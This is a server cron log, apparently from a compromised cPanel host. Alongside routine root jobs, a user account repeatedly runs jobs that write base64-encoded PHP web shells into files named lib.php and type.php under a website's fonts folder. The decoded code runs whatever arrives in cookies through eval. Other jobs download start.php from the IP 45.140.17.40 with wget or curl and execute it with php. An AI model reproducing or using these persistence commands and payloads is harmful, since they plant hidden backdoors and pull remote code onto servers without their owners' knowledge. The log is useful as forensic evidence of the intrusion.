Sep  4 08:57:01 ip-184-168-122-23 CROND[25783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:57:01 ip-184-168-122-23 CROND[25785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:57:01 ip-184-168-122-23 CROND[25784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:58:01 ip-184-168-122-23 CROND[25907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:58:01 ip-184-168-122-23 CROND[25910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:58:01 ip-184-168-122-23 CROND[25908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:58:01 ip-184-168-122-23 CROND[25912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:58:01 ip-184-168-122-23 CROND[25911]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:59:01 ip-184-168-122-23 CROND[26029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:59:01 ip-184-168-122-23 CROND[26030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:59:01 ip-184-168-122-23 CROND[26035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:59:01 ip-184-168-122-23 CROND[26032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:00:01 ip-184-168-122-23 CROND[26173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:00:01 ip-184-168-122-23 CROND[26174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:00:01 ip-184-168-122-23 CROND[26175]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 09:00:01 ip-184-168-122-23 CROND[26176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:00:01 ip-184-168-122-23 CROND[26177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:00:01 ip-184-168-122-23 CROND[26178]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  4 09:00:01 ip-184-168-122-23 CROND[26181]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:00:01 ip-184-168-122-23 CROND[26180]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:00:01 ip-184-168-122-23 CROND[26182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:01:01 ip-184-168-122-23 CROND[26300]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26300]: starting 0anacron
Sep  4 09:01:01 ip-184-168-122-23 CROND[26306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:01:01 ip-184-168-122-23 CROND[26308]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 09:01:01 ip-184-168-122-23 CROND[26309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:01:01 ip-184-168-122-23 CROND[26310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:01:01 ip-184-168-122-23 CROND[26314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26323]: finished 0anacron
Sep  4 09:02:01 ip-184-168-122-23 CROND[26503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:02:01 ip-184-168-122-23 CROND[26505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:02:01 ip-184-168-122-23 CROND[26507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:02:01 ip-184-168-122-23 CROND[26506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:02:01 ip-184-168-122-23 CROND[26508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:03:01 ip-184-168-122-23 CROND[26624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:03:01 ip-184-168-122-23 CROND[26625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:03:01 ip-184-168-122-23 CROND[26626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:03:01 ip-184-168-122-23 CROND[26627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:04:01 ip-184-168-122-23 CROND[26732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:04:01 ip-184-168-122-23 CROND[26733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:04:01 ip-184-168-122-23 CROND[26736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:04:01 ip-184-168-122-23 CROND[26735]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:04:01 ip-184-168-122-23 CROND[26739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:05:01 ip-184-168-122-23 CROND[26847]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:05:01 ip-184-168-122-23 CROND[26849]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:05:01 ip-184-168-122-23 CROND[26848]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 09:05:01 ip-184-168-122-23 CROND[26851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:05:01 ip-184-168-122-23 CROND[26852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:05:01 ip-184-168-122-23 CROND[26850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:05:01 ip-184-168-122-23 CROND[26853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:06:02 ip-184-168-122-23 CROND[26994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:06:02 ip-184-168-122-23 CROND[26996]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:06:02 ip-184-168-122-23 CROND[26997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:06:02 ip-184-168-122-23 CROND[26998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:06:02 ip-184-168-122-23 CROND[26999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:07:01 ip-184-168-122-23 CROND[27116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:07:01 ip-184-168-122-23 CROND[27120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:07:01 ip-184-168-122-23 CROND[27123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:07:01 ip-184-168-122-23 CROND[27121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:08:01 ip-184-168-122-23 CROND[27327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:08:01 ip-184-168-122-23 CROND[27329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:08:01 ip-184-168-122-23 CROND[27330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:08:01 ip-184-168-122-23 CROND[27328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:08:01 ip-184-168-122-23 CROND[27331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
